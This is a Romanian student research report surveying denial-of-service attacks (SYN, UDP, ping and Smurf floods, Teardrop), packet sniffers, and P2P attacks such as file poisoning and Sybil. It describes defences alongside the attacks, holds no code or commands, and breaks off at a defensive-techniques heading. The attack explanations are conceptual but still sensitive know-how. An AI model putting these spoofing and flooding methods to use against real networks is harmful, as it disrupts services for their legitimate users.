Sunteți pe pagina 1din 35

Proiect de cercetare

24 ianuarie 2011

Universitatea din Craiova, Facultatea de Matematica s i Informatica


Titlu Proiect
Studiu comparativ.Metode de atac

Coordonator Stiintific
Lect. Univ. Dr. Nicolae Constantinescu

Membrul Echipei de Cercetare


Puica Marian Cosmin
Grupa: 224-b
Cuprins

I Introducere 1

1 Introducere 3

II State of Art s i Metode de Atac 5

2 State of Art 7
2.1 Denial of Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
2.1.1 Simptomatologia unui atac de tip Dos: . . . . . . . . . . . . . . . . . . . . . . . . . 8
2.1.2 Metode de atac . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
2.2 Sniffer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
2.2.1 Cum functioneaza un sniffer? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
2.2.2 Cum pot detecta un sniffer? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
2.2.3 Cum pot bloca un sniffer? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10

3 Tipuri de atac DoS 11


3.1 Atacul de tip Ping Flood . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
3.1.1 Procedeu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
3.1.2 Verificarea capacitatii DUT-ului(device under test) de a bloca sau limita fluxul at-
acului: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
3.1.3 Masurarea performantei impactului asupra fluxului de baza: . . . . . . . . . . . . 12
3.1.4 Variabile: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
3.1.5 Rezultate: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
3.2 Atacul de tip SYN Flood . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
3.2.1 Tipuri de atac SYN Flood . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
3.3 Atacul de tip TCP SYN Flood . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
3.4 Atacul de tip UDP Flood . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
3.5 Atacul de tip Teardrop . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
iv CUPRINS

3.5.1 Simptome de atac . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16


3.6 Atacul de tip Smurf . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
3.7 Pulsing Zombie . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
3.8 Atacuri asupra retelelor peer-to-peer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
3.8.1 Atacuri s i tehnici defensive specifice retelelor P2P . . . . . . . . . . . . . . . . . . . 17
3.9 Atacul de tip Nuke . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
3.10 Atacul de tip Fork Bomb . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
3.10.1 Alte exemple de atacuri fork bomb . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21

III Concluzii 27

4 Tendinte s i concluzii personale 29


Partea I

Introducere
Capitolul 1

Introducere

Criptografia reprezinta o ramura a matematicii care se ocupa cu securizarea informatiei precum s i cu


autentificarea s i restrictionarea accesului ntr-un sistem informatic. n realizarea acestora se utilizeaza
att metode matematice (profitnd, de exemplu, de dificultatea factorizarii numerelor foarte mari), ct s i
metode de criptare cuantica. Termenul criptografie este compus din cuvintele de origine greaca krypts
(ascuns) s i grafein (a scrie).
Criptologia este considerata ca fiind cu adevarat o s tiinta de foarte putin timp. Aceasta cuprinde
att criptografia - scrierea secretizata - ct s i criptanaliza. De asemenea, criptologia reprezinta nu numai
o arta veche, ci s i o stiinta noua: veche pentru ca Iulius Cezar a utilizat-o deja, dar noua pentru ca a
devenit o tema de cercetare academico-stiintifica abia ncepnd cu anii 1970. Aceasta disciplina este
legata de multe altele, de exemplu de teoria numerelor, algebra, teoria complexitatii, informatica.
4 1. Introducere
Partea II

State of Art s i Metode de Atac


Capitolul 2

State of Art

2.1 Denial of Service

Conceptul de Denial of Service (DoS) presupune ocuparea voita a resurselor unui calculator, n vederea
ntreruperii functionarii acestuia (sau a anumitor servicii pe care acesta le executa). n urma unui astfel
de atac se exploateaza deficiente (bug-uri) de implementare sau de conceptie a unor aplicatii sau com-
ponente hardware. Dupa cum spuneam, un atac de tip DOS urmareste secarea de resurse a sistemului
victima. Fie ca este vorba de ocuparea memoriei, a spatiului sau de suprancarcarea procesorului sau a
latimii de banda folosita pentru comunicare, efectul este acela al opririi complete a calculatorului sau,
n unele cazuri (depinznd s i de sistemul de operare folosit), numai a procesului care rula la momentul
respectiv. Cea mai simpla modalitate de DOS este aceea prin care se umple inutil memoria de lucru. n
acest fel calculatorul ramne fara resurse s i nu si mai poate continua activitatea. La fel se poate bloca
activitatea s i prin umplerea voita, pna la refuz a spatiului de pe harddisk. Nu trebuie dect sa avem
accesul la respectivul harddisk s i sa ncepem sa copiem la nesfrsit un anumit fisier. O alta modalitate
de a seca de resurse un calculator este aceea de a deschide foarte multe procese, procese care n final fie
vor ocupa spatiul disponibil n memorie, fie vor bloca procesorul. Indiferent de metoda folosita, rezul-
tatul este acelasi, s i anume scoaterea din functiune, temporara sau definitiva, a sistemului atacat. n
functie de sistemul de operare instalat, n urma repornirii sale, se poate trece de sistemul de securitate.
Sistemele de operare de generatie mai noua permit configurarea unor limite de ocupare a memoriei,
harddisk-ului s i procesorului, tocmai pentru a prentmpina astfel de atacuri. Cel mai propice mediu de
dezvoltare pentru atacurile ce se ncadreaza n categoria DOS, este fara ndoiala Internetul. Aparute de
la nceputurile lui, mai nti n forme mai putin elaborate, atacurile de tip DOS au evoluat semnificativ,
transformndu-se n ultimul timp n arme mortale atunci cnd ajung n mna celor "de rea credinta" :
Astfel, nu e de mirare cnd auzim ca organizatii de prestigiu precum Yahoo, CNN, eBay, pentru care
nefunctionalitatea site-ului pentru o zi se traduce n pierderi de milioane de dolari, au fost nevoite sa-si
8 2. State of Art

opreasca temporar activitatea datorita acestor atacuri. Atacatorii se servesc de unele brese de securitate
existente nca de la proiecterea TCP/IP ului, o suita de protocoale mai batrna dect multi dintre noi,
care n-a fost proiectata lundu-se n calcul capacitatile din prezent (latime de banda mare, putere de cal-
cul superioara), facnd astazi din ce n ce mai greu fata zilei de astazi s i necesitnd peticiri nenumarate.
Datorita gamei largi de atacuri existente s i a imaginatiei malefice extrem de bogate a unora, majoritatea
atacurilor DOS "moderne" se bazeaza pe puterea a sute, mii sau zeci de mii de calculatoare din internet;
doar un sistem de securitate global, n care fiecare administrator si protejeaza eficient reteaua de care
raspunde s i urmareste cu atentie traficul, se pot opri astfel de atacuri.

2.1.1 Simptomatologia unui atac de tip Dos:

- performantele retelei sunt neobisnuit de slabe ( de ex: deschiderea unor fisiere sau accesarea site-urilor
web)
- imposibilitatea de a accesa anumite/orice site-uri/site
- cresterea dramatica a spamurilor Atacurile de tip Dos pot sa afecteze toata structura unei retele. De
exemplu, lungimea de banda a unui router poate fi consumata de un Dos, acest fapt compromitnd nu
numai calculatorul vizat, ci toata reteaua.

2.1.2 Metode de atac

Un atac de tip denial-of-service este caracterizat prin ncercarea explicita a atacatorului de a bloca userii
legitimi n a obtine serviciul respectiv.
Exemple:
-floodarea unei retele; n acest fel se blocheaza traficul
-blocarea unui server prin trimiterea unui numar foarte mare de pachete de date
-blocarea unei anumite persoane de a accesa un serviciu
Atacurile pot fi directionate spre orice dispozitiv de retea, aici facnd parte atacurile asupra
aparatelor de routare, serverele de dns, mail, web, ftp, etc. Un atac de tip Dos poate fi comis n mai
multe moduri. Sunt 5 tipuri de baza:
1. consumul resurelor, ca de exemplu a bandwidth-ului, spatiului fizic sau a procesorului;
2. distrugerea unor informatii de configurare, ca de exemplu informatia de routare;
3. distrugerea starii informatiei, ca de exemplu resetarea nesolicitata a unei sesiuni tcp;
4. distrugerea fizica a unei/unor componente dintr-o retea;
5. blocarea comunicatiei media (voce, text) ntre o terta persoana s i victima.
Un atac de tip Dos poate include executia unui malware, scopul acestuia fiind:
- folosirea intensa a procesorului, blocnd astfel buna functionare a acestuia
- lansarea unor erori n microcodul procesorului
2. State of Art 9

- lansarea unor erori n secventa de instructiuni, ca de exemplu fortarea unui computer de a intra ntr-o
stare instabila, sau chiar de lock-up
- exploatarea erorilor n sistemul de operare, cauznd folosirea tuturor resurselor, astfel ncat lucrul pe
acel computer devine imposibil
- lansarea unui "operating system crash"
- iframe ddos, n care un document html este facut special pentru a vizita rapid s i de multe ori un site
care contine multi kb, scopul final fiind de a epuiza bandwidth-ul.

2.2 Sniffer

Sniffer-ul este un program sau/si un dispozitiv care monitorizeaza toate informatiile care trec printr-o
retea. Acesta detecteaza datele care trec prin retea s i determina unde se duc,de unde vin s i ce fel de
date sunt. Fata de aceste functii de baza, snifferele mai au n plus anumite caracteristici care le permit
acestora sa filtreze un anumit tip de date, sa capteze parole, precum s i multe altele. Anumite sniffere(de
exemplu instrumentul de monitorizare n masa al FBI numit Carnivore) pot chiar reconstrui fisiere trim-
ise peste o retea, cum ar fi un email sau o pagina Web. Snifferul este unul dintre cele mai importante
instrumente de captare a informatiei din arsenalul unui hacker. Acesta ii transmite hackerului o imag-
ine completa (topologia retelei, adrese IP) a datelor trimise s i receptionate de calculatorul sau reteaua pe
care o monitorizeaza. Aceste date includ mesaje din email, parole, username-uri, documente, precum s i
multe altele. Cu aceste informatii, un hacker si poate forma o imagine completa a datelor care circula
ntr-o retea, precum s i sa capteze date importante care-l pot face sa detina controlul asupra unei retele.

2.2.1 Cum functioneaza un sniffer?

Ca un computer sa aiba capacitatea de a sniffa o retea, acesta trebuie sa aibe o placa de retea care
functioneaza ntr-un mod special. Acesta poarta numele de modul promiscuous, ceea ce nseamna ca
poate receptiona tot traficul trimis de-a lungul unei retele. O placa de retea ar accepta n mod nor-
mal doar informatii care au fost trimise catre adresa de retea specifica. Aceasta adresa de retele este
cunoscuta ca adresa Media Access Control(MAC). Pentru a afla propria adresa MAC, se da click pe
start->Run, apoi se tasteaza "winicfg"(pentru Windows 95/98/ME) sau "ipconfig/all"(pentru Windows
NT/2000/.NET Server). Adresa MAC mai poarta numele de adresa fizica. Exista mai multe straturi
diferite implicate n retele de comunicatii. n mod normal, stratul de retea este responsabil cu cautarea
pachetelor de informatii pentru adresa de destinatie. Aceasta adresa de destinatie este defapt adresa
MAC a unui computer. Fiecare placa de retea din lume are o adresa MAC unica. Chiar daca adresa
poate fi schimbata, adresa MAC asigura livrarea datelor catre calculatorul corect. Daca adresa unui
computer nu se potriveste cu adresa din pachet, n mod normal datele vor fi ignorate.
10 2. State of Art

2.2.2 Cum pot detecta un sniffer?

Exista mai multe moduri prin care un tehnician de retea poate detecta un NIC(Network Interface Con-
troller) ce functioneaza n modul promiscuous. Un mod este de a verifica pe cale fizica toate computerele
locale daca au sniffere.Exista de asemenea s i softuri de detectare a programelor care pot scana retelele
de dispositive care functioneaza pe baza de sniffere(de exemplu AntiSniff). Aceste programe scanner
folosesc diferite aspecte ale DNS(Domain Name Service) s i componente TCP/IP ale unui sistem de retea
pentru a detecta orice program rau-voitor care functioneaza n modul promiscuous. nsa, pentru multi
utilizatori, nu exista nicio cale de a detecta daca vreun computer de pe Internet le sniffeaza informatia.
De aceea criptarea este recomandata.

2.2.3 Cum pot bloca un sniffer?

Exista o singura cale de a-ti proteja informatia mpotriva snifferelor: Foloseste criptarea! Prin folosirea
site-urilor Web protejate cu SSL(Secure Sockets Layer), precum s i a diferitelor unelte, poti cripta parolele,
email-urile s i multe altele. Exista multe programe disponibile care sunt usor de folosit s i sunt s i gratis.
Din cauza naturii unei retele WLAN, criptarea este necesara n orice situatie. Din fericire, retelele wire-
less au deja optiunea de criptare construita n softul acestora. nsa, ctiva se folosesc de aceasta capaci-
tate, putini fiind constienti ca aceasta optiune exista.
Capitolul 3

Tipuri de atac DoS

3.1 Atacul de tip Ping Flood

Este unul dintre cele mai vechi atacuri la retea. Scopul acestui atac este de a satura reteaua victimei prin
trimiterea unui numar mare de pachete ping (flood). Atacurile de tip ping flood pod reduce viteza unei
retele sau chiar dezactiva conectivitatea la o retea. Exista mai multe motive care fac ca acest atac sa fie
nerealizabil n retelele din zilele noastre. n primul rnd, chiar daca atacul a reusit, calculatorul victimei
trebuie sa fie restrns(blocat) n momentul atacului, pentru ca trebuie sa trimita constant pachete ping
impersonate(false). Cel putin 18 sisteme de operare sunt vulnerabile acestui atac, nsa majoritatea poate
fi reparata. De altfel exista s i routere s i imprimante care sunt la fel de vulnerabile. Deocamdata aceste
reparatii nu pot fi aplicate att de usor la nivelul unei retele globale.

3.1.1 Procedeu

Pe portul sursa(portul de proba),se genereaza un flux de pachete ICMP(Optional, adresa IP a pachetelor


poate fi impersonata)

3.1.2 Verificarea capacitatii DUT-ului(device under test) de a bloca sau limita fluxul
atacului:

- Se trimite un flux de atac de tip ping flood catre interfata DUT-ului, conectata la portul sursa,si se
verifica daca DUT-ul elimina pachetele. (Unele routere pot alege sa nainteze mesajele ICMP la o viteza
limitata.)
- Se repeta testul, dar atacul traficat se trimite la adresa de ntoarcere a DUT-ului.
- Se repeta testul din nou, trimitnd traficul prin DUT la una din adresele publicate n spatele portului
destinatie.
12 3. Tipuri de atac DoS

3.1.3 Masurarea performantei impactului asupra fluxului de baza:

- Dupa ce ne asiguram ca router-ul poate bloca toate cele 3 fluxuri de atac, se trimite din portul sursa,
prin DUT, un flux de baza care contine trafic normal, catre adresele publicate pe portul destinatie.
- Se masoara numarul total de pachete de baza transmise s i receptionate, precum s i timpul lor de
asteptare.
- n paralel cu traficul de baza, se trimite un flux de atac Ping flood catre gazda tinta pe portul destinatie.
- Se masoara numarul total de pachete de baza transmise s i receptionate dar s i timpul de asteptare sau
ntrzierea n decursul acestui atac.
- Se mareste ncarcatura fluxului de atac Ping flood printr-o incrementare definita de catre utilizator s i
se repeta ultimii doi pasi pna cnd ncarcatura finala este atinsa.

3.1.4 Variabile:

- ncarcatura initiala de atac Ping flood traficat;


- Incrementarea prin care ncarcatura atacului Ping flood este marita;
- ncarcatura finala de atac traficat de tip Ping flood;
- ncarcatura traficului de baza;
- Lungimea pachetului traficului de baza;
- Numarul de gazde atacate;

3.1.5 Rezultate:

Pentru fiecare repetare a testului, se nregistreaza rata de transfer, precum s i minimul, maximul s i timpul
de asteptare mediu.

3.2 Atacul de tip SYN Flood

Un atac SYN Flood este un tip de atac Dos, unde atacatorul trimite o succesiune de solicitari SYN catre
un sistem tinta.
- Atacatorul creeaza o adresa sursa aleatoare pentru fiecare pachet;
- Victima raspunde adresei IP spoof-ate(impersonate), apoi asteapta confirmarea ,care nu va
ajunge(asteapta aproximativ 3 min);
- Conexiunea n masa a victimei se ncarca,asteptnd un raspuns(replica);
- Dupa ce conexiunea n masa "se umple", toate celelalte conexiuni sunt ignorate;
- Administratorii legitimi sunt de asemenea ignorati s i nu pot accesa serverul;
- Dupa ce atacatorul nceteaza flood-area serverului, de obicei acesta se ntoarce la normal.
Cnd un client ncearca sa stabileasca o conexiune TCP catre un server, ntre acestia se transmit o serie
3. Tipuri de atac DoS 13

de mesaje care ruleaza astfel:


- Clientul solicita o conexiune prin trimiterea unui mesaj SYN(synchronize) catre server;
- Serverul confirma aceasta solicitare, trimitnd un SYN-ACK napoi catre client;
- Clientul raspunde cu un ACK (acknowledge) s i conexiunea este stabilita. Aceasta poarta numele
de TCP three-way handshake s i reprezinta "piatra de temelie" pentru fiecare conexiune stabilita, care
foloseste protocolul TCP. Atacul SYN Flood este un atac bine cunoscut dar, n general, este ineficient
mpotriva retelelor moderne. Poate functiona doar daca un server aloca resurse dupa ce primeste un
SYN, dar nainte de a fi primit ACK-ul.
Exista doua metode pentru ca acest atac sa functioneze, dar ambele implica problema serverului de a nu
receptiona ACK-ul. Un client rau intentionat poate sari peste trimiterea acestui ultim mesaj ACK. Sau,
prin spoof-area(impersonarea) adresei IP din SYN, serverul trimite mesajul SYN-ACK la adresa IP fal-
sificata, fara ca aceasta sa receptioneze mesajul ACK. n ambele cazuri, serverul va astepta confirmarea
un anumit timp, deoarece o simpla aglomerare a retelei putnd fi cauza mesajului ACK lipsa.

3.2.1 Tipuri de atac SYN Flood

Atac direct

Daca atacatorii trimit rapid segmente SYN fara a impersona adresele IP, atunci vom avea un atac direct.
Aceasta metoda de atac este usor de executat deoarece nu implica spoof-area pachetelor sub nivelul
utilizatorului de catre sistemul de operare al atacatorului. Poate fi executat prin folosirea mai multor
apeluri TCP connect(). Pentru a fi efficient, nsa,atacatorii trebuie sa mpiedice propriile sisteme de op-
erare de a raspunde la SYN-ACK-uri n orice mod, deoarece orice mesaje ACK, RST sau ICMP(Internet
Control Message Protocol) vor permite ascultatorului sa mute TCB-ul din SYN-RECEIVED. Te poti
apara usor mpotriva acestui atac printr-o simpla regula a firewall-ului de a bloca pachetele cu sursa
IP a atacatorului.

Atacuri bazate pe impersonare(Spoofing)

O alta forma de atacuri de tip SYN flood foloseste impersonarea adresei IP, care poate fi considerata mai
complexa dect metoda folosita ntr-un atac direct, deoarece, n loc de a manipula regulile firewall-ului,
atacatorul trebuie sa fie capabil sa formeze s i sa intercaleze pachete IP brute cu antete IP s i TCP valide.
Pentru atacuri spoof-ate, un motiv principal este alegerea adresei. Daca atacul va reusi, dispozitivele
de la adresele spoof-ate nu trebuie sa raspunda SYN-ACK-urilor care sunt trimise catre acestea n orice
mod. Un atac foarte simplu poate impersona doar o singura adresa care s tie ca nu va raspunde SYN-
ACK-urilor, fie din cauza ca niciun dispozitiv nu exista fizic la acea adresa, fie din cauza altor proprietati
ale configuratiei adresei sau retelei. O alta optiune este de a spoofa mai multe adrese diferite, sub
prezumtia ca un anumit procent din adresa spoofata nu va raspunde SYN-ACk-urilor. Daca o singura
14 3. Tipuri de atac DoS

adresa sursa este impersonata n mod repetitiv, aceasta adresa este usor de identificat s i filtrat de catre
ascultator. n majoritatea cazurilor o lista mai larga de adrese sursa este folosita pentru a face apararea
mai dificila.n acest caz cea mai buna aparare este de a bloca pachetele impersonate ct mai aproape de
sursa lor.
IP Security(IPsec)furnizeaza, de asemenea, o defensiva excelenta mpotriva pachetelor impersonate, dar
n general, acest protocol nu poate fi solicitat, deoarece implementarea sa este limitata.

Tehnici defensive

-Micro block-uri
n loc de a aloca un obiect de conexiune completa(care cauzeaza defectarea memoriei), se aloca un micro-
record.
-SYN cookies
Modifica protocoalele folosite de server; acestea ntrzie alocarea resurselor pna cnd adresa clientului
nu este verificata(implementari in Solaris, Free BSD s i Linux).

3.3 Atacul de tip TCP SYN Flood

Cel mai simplu s i popular atac din categoria DOS, aparut de mult timp, s i care exploateaza protocolul de
control al transmisiei (TCP - Transmission Control Protocol) din suita de protocoale TCP/IP, care dupa
cum s tim guverneaza transmisia de date prin Internet. Pentru a ntelege principiul care sta la baza TCP
SYN Flood-ului, trebuie sa descriem modul de realizare al unei conexiuni TCP ntre 2 entitati. Procedeul
presupune interschimbarea a trei pachete ntre cele 2 statii: la nceput statia client trimite o cerinta de
initiere a conexiunii catre server, un pachet de sincronizare numit SYN. Dupa ce serverul primeste acest
pachet (si daca realizarea conexiunii este posibila), el replica ntr-un pachet SYN/ACK prin care sa
spuna ca accepta conexiunea (ACK - acknoledgement) s i n acelasi timp "cere" o sincronizare din partea
clientului (un SYN pornit acum de la server). Atunci cnd clientul primeste pachetul SYN/ACK de
la server, raspunde cu un pachet ACK s i conexiunea se realizeaza. "Buba" apare atunci cnd serverul
trimite pachetul SYN/ACK, dar nu primeste pachetul de ACK de la client. Serverul va pierde timp
(va astepta primirea mesajului ACK de la client - intra n asa numita stare TCP-SYN-RECV) s i resurse
(necesare pastrarii n memorie a datelor despre client).
- Dupa ce perioada de asteptare expira, conexiunea cade s i serverul si poate continua activitatea. Dar ce
serverul primeste cteva mii de astfel de conexiuni pe jumatate deschise?
se ntmpla nsa atunci cand
Serverul se va neca n aceste jumatati de legatura, tabela lui de asteptare pentru realizarea conexiunilor
se va umple s i nici clientii legitimi (cei care trimit napoi pachete ACK de completare a conexiunii) nu
vor mai putea accesa resursele serverului.
- Pentru un SYN Flood pot fi folosite programe care schimba adresa IP sursa a pachetului care-l trimit
3. Tipuri de atac DoS 15

catre server (aceasta adresa-sursa devenind adresa destinatie atunci cnd serverul trimite SYN/ACK).
Serverul nu stie cu cine are de-a face (nu poate diferentia o conexiune "falsa" de una normala) s i trimite
mesajul SYN/ACK aiurea, la aceasta destinatie falsa s i evident conexiunea nu se va produce niciodata.
De remarcat ca acest tip de atac nu se bazeaza pe gtuirea latimii de banda (cum se ntmpla de obicei),
ci pe consumul resurselor serverului, adica un atac de pe o conexiune dial-up banala poate duce un
server "out of business" n cteva minute. Nu exista o solutie general valabila pentru oprirea unui SYN
Flood, deoarece atacatorii "se ascund" n spatele unei adrese IP false s i greu de depistat la prima vedere.
Cea mai simpla metoda de protectie se numeste SYN Threshold; implementata n cteva firewall-uri,
solutia se bazeaza pe setarea unei limite maxime de conexiuni pe jumatate deschise. Atunci cnd aceasta
limita este depasita, toate conexiunile pe jumatate deschise sunt "aruncate", iar serverul se elibereaza de
povara. A doua solutie se numeste SYN Proxy s i se bazeaza pe un firewall care sa functioneze ca "punte
de legatura" la stabilirea conexiunii TCP ntre client s i server. Firewall-ul se va comporta ca un server
pentru client, urmnd primii trei pasi pentru stabilirea unei legaturi TCP cu acesta, iar dupa realizarea
legaturii (daca aceasta este valabila) va actiona ca si client pentru server, cerand o conexiune TCP de la
el.

3.4 Atacul de tip UDP Flood

O alta metoda de atac exploateaza celalalt protocol de transmisie prin Internet, s i anume UDP (User
Datagram Protocol). Acesta este un protocol care nu necesita elemente premergatoare pentru realizarea
unei conexiuni. Atunci cand o statie de pe internet primeste un pachet UDP, va ncerca sa gaseasca
aplicatia care a trimis acest pachet; daca la celalalt capat nu se afla nimic, va trimite un mesaj ICMP
prin care anunta "destinatia de negasit". Flood-ul UDP seamana cu cel TCP din unele puncte de vedere:
ideea e tot trimiterea de foarte multe pachete, de data asta UDP, cu adrese - sursa false, catre un port
al sistemului victima, care nu va reusi sa le faca fata la toate s i va ceda. Un exemplu de flood UDP se
bazeaza pe serviciile chargen (de la character generator, un serviciu care trimite napoi catre sursa un set
de caractere pentru fiecare pachet pe care l primeste)csi echo (un serviciu care "face ecou" - dubleaza -
pentru fiecare caracter primit). Un atacator trebuie doar sa puna n legatura doua sisteme, unul care sa
genereze caractere pentru pachetele primite, iar al doilea sa faca echo, s i se va crea un flux de date (care
va ocupa banda) fara nici un scop ntre cele doua parti.

3.5 Atacul de tip Teardrop

Acest tip de atac afecteaza versiunile de Windows 3.1 s i 95, precum s i dispositive NT. De asemenea
afecteaza s i versiunile de Linux precedente versiunilor 2.0.32 s i 2.1.63.
Teardrop este un program care trimite fragmente IP suprapuse s i supradimensionate catre un dispoz-
16 3. Tipuri de atac DoS

itiv conectat la Internet sau la o retea. Teardrop exploateaza o suprapunere a unui bug al fragmentelor
IP prezente n versiunea de Windows 95, Windows NT, precum s i Windows 3.1. Bug-ul cauzeaza codul
de re-asamblare al pachetelor TCP/IP sa rezolve ntr-un mod abuziv suprapunerea pachetelor IP.

Acest atac nu cauzeaza daune semnificative asupra sistemelor, iar un simplu reboot este remediul
preferat. Totusi este de notat ca, desi acest atac nu este destructiv, poate cauza probleme daca exista date
nesalvate n diferite aplicatii deschise, n momentul n care masinaria este atacata.

Principala problema a acestui atac o reprezinta pierderea de date.

3.5.1 Simptome de atac

Cnd un atac Teardrop ruleaza mpotriva unei masinarii, aceasta va cadea (pe sistemele de operare
Windows aparitia ecranului albastru al "mortii"(the Blue Screen of Death) ), sau se va restarta. Daca
utilizatorul s-a protejat mpotriva atacurilor DoS winnuke s i ssping, iar masinaria tot cade, atunci atacul
este probabil teardrop sau land.

3.6 Atacul de tip Smurf

Majoritatea dintre noi suntem familiarizati cu comanda "ping"; o folosim pentru a vedea daca o statie de
pe internet exista s i raspunde. Atunci cnd vorbim de ping vorbim de ICMP, adica protocolul de control
al mesajelor pe internet (Internet Message Protocol). Acest protocol este folosit pentru diagnosticarea
starii retelei, a traficului n general pentru a determina s i semnala erori prin intermediul mesajelor de
control. n momentul n care o statie primeste un mesaj ICMP, ea va returna un pachet de raspuns, prin
care comunica o serie de informatii. Atacatorii se folosesc de procedeul de lucru al ICMP pentru a lansa
atacurile cunoscute sub numele de "smurf". Ei trimit de pe o statie (aflata n reteaua interna san exterior)
mesaje ICMP echo pe adresele IP folosite pentru broadcast n reteaua noastra (sa-i zicem acesteia reteaua
"de legatura"). Dupa cum s tim, atunci cnd un pachet are ca destinatie una din adresele de broadcast,
acesta va fi trimis la toate statiile din reteaua interna. Toate aceste mesaje ICMP echo genereaza de pe
statia de lucru ICMP replay-uri s i tot acest trafic congestioneaza serios reteaua. Dar bine, o sa spuneti,
n momentul unui astfel de atac, atacatorul se va pricopsi cu o gramada de ICMP replay-uri, fiind s i el
mort n acel moment. Solutia pentru atacator reprezinta tot o adresa de IP falsa, dar acum, nu generata
aleatoriu, ci aleasa cu atentie, reteaua careia i apartine aceasta adresa devenind a doua victima. De fapt,
putem spune ca aceasta este adevarata retea victima, deoarece ea va primi pentru fiecare echo trimis
de catre atacator un numar N de ICMP replay-uri (datorita broadcasting-ului), unde N este numarul
statiilor de lucru din reteaua de legatura.
3. Tipuri de atac DoS 17

3.7 Pulsing Zombie

Un pulsing zombie este un calculator a carui securitate a fost compromisa de catre un hacker fara ca pro-
prietarul sa fie constient de acest lucru s i care transporta nentrerupt un atac DoS asupra calculatoarelor
tinta dintr-o retea.
Spre deosebire de un zombie normal, pulsing zombie nu-si paralizeaza complet tintele,ci doar le
slabeste, acest atac purtnd numele de degradation-of-service. Este mai dificil de localizat sursa unui
atac pulsing zombie, ba chiar sa ne dam seama daca un atac a avut loc.
Atacurile pulsing zombie sunt cunoscute ca atacuri care continua luni ntregi dupa ce au fost detec-
tate.
n timp, calitatea serverelor se degradeaza iar resursele sunt din ce n ce mai intens folosite.

3.8 Atacuri asupra retelelor peer-to-peer

O retea Peer-to-peer este o retea care se bazeaza mai degraba pe puterea de calcul a clientilor sai dect pe
propria putere. Asta nseamna ca acei clienti(peers) s i nu un server central vor face operatiile necesare
pentru functionarea retelei.
De sigur, exista nivele diferite de retele P2P:
- Hybrid P2P: Exista un server central care pastreaza informatia despre retea. Clientii(peers) sunt re-
sponsabili cu stocarea informatiei. Daca vor sa contacteze alt peer, acestia "interogheaza" serverul pen-
tru adresa.
- Pure P2P: Nu exista niciun server central sau router. Fiecare peer actioneaza ca server s i client n acelasi
timp. Acesta mai poarta numele de "serverless" P2P.
- Mixed P2P: ntre retelele "hybrid" s i "pure" P2P. Un exemplu de asemenea retea este Gnutella, retea
care nu are niciun server central dar isi aduna nodurile n jurul asa numitor "supernoduri".

3.8.1 Atacuri s i tehnici defensive specifice retelelor P2P

1. Atacuri rationale

Pentru ca functiile P2P sa fie effective, nodurile participante trebuie sa coopereze, dar n cele mai multe
cazuri un nod reprezinta un grup cu un interes propriu s i de aceea o cooperare este aproape imposibila.
De exemplu, nodurile pot realiza faptul ca, prin refuzarea partajarii, acestea salveaza o ncarcare de
largime de banda pretioasa. n cazul materialelor cu drepturi de autor, partajarea fisierelor poate avea
rezultate neplacute. Daca un numar mare de noduri cu un interes propriu refuza sa colaboreze , sistemul
se poate destabiliza. Sistemele prospere P2P trebuie sa fie proiectate pentru a fi robuste mpotriva acestei
clase de esecuri.
18 3. Tipuri de atac DoS


2. "Otravirea" fisierelor (File poisoning)

Atacurile file poisoning actioneaza asupra nivelurilor de date s i au devenit un lucru banal n retelele
P2P. Scopul acestui atac este de a nlocui un fisier din retea cu unul fals. Acest fisier "murdar" nu este de
niciun folos.
Pentru a ataca folosind file poisoning, nodurile rau intentionate vor ncerca sa revendice ntr-un mod
fals un fisier, iar n urma unei solicitari, vor raspunde cu un fisier corupt. Acesti factori pot da fisierului
"otravit" o valabilitate mare, facndu-l mai usor de downloadat dect fisierul real.

Tehnici defensive

Desi atacurile file poisoning suna destul de periculos, n realitate acestea nu poseda o amenintare asupra
retelelor peer-to-peer. Cnd un fisier poluat este downloadat de catre un utilizator, acesta ramne valabil
un anumit timp, dupa care este inspectat s i curatat. Dupa o perioada de timp, toate fisierele poluate sunt
eliminate, iar fisierele autentice devin mai disponibile dect cele corupte.
Motivul pentru care atacurile file-poisoning functioneaza s i n ziua de astazi, se datoreaza prezentei
a 3 factori:
- clientii nu doresc sa partajeze(atac rational).
- fisierele corupte din masinile utilizatorilor nu sunt eliminate destul de repede.
- utilizatorii renunta la downloadare, daca viteza acesteia scade.
Acesti 3 factori creeaza avantaje n moduri diferite asupra fisierului disponibil, care este probabil cel
poluat. Simularile arata ca acesti factori tind sa ncetineasca foarte mult ncercarea de a elimina fisierele
poluate de pe retea.

3. Sybil Attack

Atacurile Sybil fac parte din categoria planurilor de control. Ideea acestui atac este ca o singura identitate
rau intentionata poate prezenta mai multe identitati s i astfel poate cstiga controlul asupra unei parti
din retea. Odata ce acest lucru a fost realizat, atacatorul poate abuza de protocol n orice fel. De exemplu,
acesta ar putea deveni responsabil de anumite fisiere s i poate alege sa le polueze. Daua atacatorul isi
poate pozitiona identitatile ntr-un mod strategic, pagubele pot deveni considerabile.

Tehnici defensive

